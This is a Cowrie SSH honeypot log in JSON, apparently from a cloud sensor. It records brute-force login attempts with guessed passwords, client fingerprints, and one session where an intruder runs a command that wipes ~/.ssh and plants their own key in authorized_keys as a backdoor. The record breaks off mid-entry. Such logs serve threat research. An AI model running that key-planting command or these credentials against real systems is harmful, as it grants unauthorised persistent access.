{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ab:e5:67:71:4a:e7:85:b2:1b:dc:a5:53:ad:3e:5e:a8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCc2suxTHiumVLfkaqRGQ1BEZjp4txUjc7yEw8LkjrphBd42rYRbp6shBTYugw+k/rXQlukI/8mHkpqXoEJzdHCXbcuRTGuRCaWkdQnA+h/gI8q7vhyofFOrrLYrc+Q7Bu3yH+zXxKpGDxYd9+bk3pJVl5ys/NclhnbJ0iMD9NXszKq0rTFojv/ye4GjZjWRd2IU8QeqhMSZ4rjOfz/saU6FjeUnE9QpVhOg7e7sjvKZHITMunbFHc6FT+CoV49oTOOY0qBd6vh7UmM5kjdH4WVepQfY7POLNEURUmpNhMXPgI3My6kPYpe/qdndtvFq1A57iGFUaD/Ybid5bHeWDbtspsSVI1tpNEl0/3lxN+n8ViqjV9v0omx9CCpFHsi55uDuVR5ENeu+aCqf5Nwv/HC2Sa9icWIRqnLQ5R5uBF1STTw4ChK2gysCP12iWSuGRAIdNkrSNCqtghpk/Prz3Im+3PsHUXccCgSVMj/Uwo/D32ARr9vf9BJ3vJdA/adNKPsWyYCkoQzDX9Pw/ebnpDXGl2KFCMcnPjOhvE3/hKWcPgPC7IT2VEf0fMr0HUyFdMONhKVu8jUgyQAUDHCCZjLaQz/VEby0wGOd7ThIPVXIV5Dm5DWQ3eGKSV7hj+bnOcpkCS/ltUnly+yumL4PXj93M/nFezL4SjC8wjV95pv/w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ab:e5:67:71:4a:e7:85:b2:1b:dc:a5:53:ad:3e:5e:a8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:04:37.314325Z","src_ip":"206.212.244.18","session":"a54ffe4eb422","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ab:e5:67:71:4a:e7:85:b2:1b:dc:a5:53:ad:3e:5e:a8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCc2suxTHiumVLfkaqRGQ1BEZjp4txUjc7yEw8LkjrphBd42rYRbp6shBTYugw+k/rXQlukI/8mHkpqXoEJzdHCXbcuRTGuRCaWkdQnA+h/gI8q7vhyofFOrrLYrc+Q7Bu3yH+zXxKpGDxYd9+bk3pJVl5ys/NclhnbJ0iMD9NXszKq0rTFojv/ye4GjZjWRd2IU8QeqhMSZ4rjOfz/saU6FjeUnE9QpVhOg7e7sjvKZHITMunbFHc6FT+CoV49oTOOY0qBd6vh7UmM5kjdH4WVepQfY7POLNEURUmpNhMXPgI3My6kPYpe/qdndtvFq1A57iGFUaD/Ybid5bHeWDbtspsSVI1tpNEl0/3lxN+n8ViqjV9v0omx9CCpFHsi55uDuVR5ENeu+aCqf5Nwv/HC2Sa9icWIRqnLQ5R5uBF1STTw4ChK2gysCP12iWSuGRAIdNkrSNCqtghpk/Prz3Im+3PsHUXccCgSVMj/Uwo/D32ARr9vf9BJ3vJdA/adNKPsWyYCkoQzDX9Pw/ebnpDXGl2KFCMcnPjOhvE3/hKWcPgPC7IT2VEf0fMr0HUyFdMONhKVu8jUgyQAUDHCCZjLaQz/VEby0wGOd7ThIPVXIV5Dm5DWQ3eGKSV7hj+bnOcpkCS/ltUnly+yumL4PXj93M/nFezL4SjC8wjV95pv/w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:04:37.318358Z","src_ip":"206.212.244.18","session":"a54ffe4eb422","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"aa:d7:1f:28:f4:c8:17:b0:4f:0a:7c:8a:41:c3:aa:04","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDlgH10DnUlxhv6osSgHtjHPaAZNFMq+u1puxiD7Rz7GtCWT26MDBTYY/JwbZCv5nPqO4Y/abdK04OHG8gmVbsw9I2PuKcRt/jhAH7K67wp6BRTq3pBVG8cNhxGpP46Ij142OSEblejTXzyeAY+wdpPJXUj68Fo5aCiZCwkeCtDVpPuhrc+erc7BWnMWhXApDNm7hcMnnMkpY/azWVWz0/1Ruc+sbUITF4ucH3e1wcPEBx1jyS7Rt/TMfXyMc1l0GIyBQm/UDi7p/V0UID0ikq8kMybW12dXMxmiIyBk6Wf5Co5fuGxipQP5spJeCdPQoXqd7f1mWWzaeb+L3xl24e/Cpg4H8zRuqklEn1BzkjH06vqjkL+k9dDk9CRwyGZp+NqQn5wMSHoBREFuN0kVKLcvkJw5sAAJdXIqEmMjk28C+Vutac6S0DYIrXdiHw7OjZaiG+IueZg9lBNODzivibWH2yzUW3mxq0oT0fdD1T+4bdReizwiGz97TIGFY999/BC872CgqZr9T0P0rab2Tm1Wyh1BrKYgW0IE+CgnEJnlm4wt5M6DTZJx3hI8cvRqtwsycqCx4bJx2VviN4sRZ2qhf7fBpGrNG6XxdG/tLXbrKFxtgm1JqadZaagBsV7ygAGCJtAERBP7lSUKDW9ZMM9Y59NB/chlhRaA8CD7ykV2Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint aa:d7:1f:28:f4:c8:17:b0:4f:0a:7c:8a:41:c3:aa:04","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:04:37.331454Z","src_ip":"206.212.244.18","session":"a54ffe4eb422","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"aa:d7:1f:28:f4:c8:17:b0:4f:0a:7c:8a:41:c3:aa:04","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDlgH10DnUlxhv6osSgHtjHPaAZNFMq+u1puxiD7Rz7GtCWT26MDBTYY/JwbZCv5nPqO4Y/abdK04OHG8gmVbsw9I2PuKcRt/jhAH7K67wp6BRTq3pBVG8cNhxGpP46Ij142OSEblejTXzyeAY+wdpPJXUj68Fo5aCiZCwkeCtDVpPuhrc+erc7BWnMWhXApDNm7hcMnnMkpY/azWVWz0/1Ruc+sbUITF4ucH3e1wcPEBx1jyS7Rt/TMfXyMc1l0GIyBQm/UDi7p/V0UID0ikq8kMybW12dXMxmiIyBk6Wf5Co5fuGxipQP5spJeCdPQoXqd7f1mWWzaeb+L3xl24e/Cpg4H8zRuqklEn1BzkjH06vqjkL+k9dDk9CRwyGZp+NqQn5wMSHoBREFuN0kVKLcvkJw5sAAJdXIqEmMjk28C+Vutac6S0DYIrXdiHw7OjZaiG+IueZg9lBNODzivibWH2yzUW3mxq0oT0fdD1T+4bdReizwiGz97TIGFY999/BC872CgqZr9T0P0rab2Tm1Wyh1BrKYgW0IE+CgnEJnlm4wt5M6DTZJx3hI8cvRqtwsycqCx4bJx2VviN4sRZ2qhf7fBpGrNG6XxdG/tLXbrKFxtgm1JqadZaagBsV7ygAGCJtAERBP7lSUKDW9ZMM9Y59NB/chlhRaA8CD7ykV2Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:04:37.335932Z","src_ip":"206.212.244.18","session":"a54ffe4eb422","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:04:37.351908Z","src_ip":"206.212.244.18","session":"a54ffe4eb422","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":27806,"dst_ip":"10.17.0.5","dst_port":22,"session":"260514d947a7","protocol":"ssh","message":"New connection: 2.57.121.112:27806 (10.17.0.5:22) [session: 260514d947a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:05:04.034195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:05:04.039225Z","src_ip":"2.57.121.112","session":"260514d947a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:05:04.141110Z","src_ip":"2.57.121.112","session":"260514d947a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"purzel","message":"login attempt [admin/purzel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:05:04.622428Z","src_ip":"2.57.121.112","session":"260514d947a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"puertorico","message":"login attempt [admin/puertorico] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:05:05.727409Z","src_ip":"2.57.121.112","session":"260514d947a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ptybnxtvgbjy","message":"login attempt [admin/ptybnxtvgbjy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:05:06.833078Z","src_ip":"2.57.121.112","session":"260514d947a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"PtBDHW","message":"login attempt [admin/PtBDHW] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:05:07.946910Z","src_ip":"2.57.121.112","session":"260514d947a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"psycho1","message":"login attempt [admin/psycho1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:05:09.051722Z","src_ip":"2.57.121.112","session":"260514d947a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:05:10.157850Z","src_ip":"2.57.121.112","session":"260514d947a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.81.14.172","src_port":53472,"dst_ip":"10.17.0.5","dst_port":22,"session":"24d1a064aa3c","protocol":"ssh","message":"New connection: 154.81.14.172:53472 (10.17.0.5:22) [session: 24d1a064aa3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:05:11.398664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:05:11.403459Z","src_ip":"154.81.14.172","session":"24d1a064aa3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:05:11.621578Z","src_ip":"154.81.14.172","session":"24d1a064aa3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user5","password":"123456","message":"login attempt [user5/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:05:12.523441Z","src_ip":"154.81.14.172","session":"24d1a064aa3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:05:13.745283Z","src_ip":"154.81.14.172","session":"24d1a064aa3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.212.47.18","src_port":39956,"dst_ip":"10.17.0.5","dst_port":22,"session":"be94966925c3","protocol":"ssh","message":"New connection: 187.212.47.18:39956 (10.17.0.5:22) [session: be94966925c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:31.710287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:31.715874Z","src_ip":"187.212.47.18","session":"be94966925c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:32.098415Z","src_ip":"187.212.47.18","session":"be94966925c3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin@2018","message":"login attempt [admin/admin@2018] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:32.430237Z","src_ip":"187.212.47.18","session":"be94966925c3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:32.626004Z","src_ip":"187.212.47.18","session":"be94966925c3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:32.628643Z","src_ip":"187.212.47.18","session":"be94966925c3","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:32.631940Z","src_ip":"187.212.47.18","session":"be94966925c3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:32.709654Z","src_ip":"187.212.47.18","session":"be94966925c3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:32.899117Z","src_ip":"187.212.47.18","session":"be94966925c3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:32.902552Z","src_ip":"187.212.47.18","session":"be94966925c3","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:32.983666Z","src_ip":"187.212.47.18","session":"be94966925c3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:32.987830Z","src_ip":"187.212.47.18","session":"be94966925c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.212.47.18","src_port":42912,"dst_ip":"10.17.0.5","dst_port":22,"session":"78bbc00717b6","protocol":"ssh","message":"New connection: 187.212.47.18:42912 (10.17.0.5:22) [session: 78bbc00717b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:33.550328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:33.554780Z","src_ip":"187.212.47.18","session":"78bbc00717b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:33.795660Z","src_ip":"187.212.47.18","session":"78bbc00717b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:34.128475Z","src_ip":"187.212.47.18","session":"78bbc00717b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:35.206988Z","src_ip":"187.212.47.18","session":"78bbc00717b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.212.47.18","src_port":45002,"dst_ip":"10.17.0.5","dst_port":22,"session":"3bf9ad3bc2d2","protocol":"ssh","message":"New connection: 187.212.47.18:45002 (10.17.0.5:22) [session: 3bf9ad3bc2d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:35.837181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:06:35.842232Z","src_ip":"187.212.47.18","session":"3bf9ad3bc2d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-s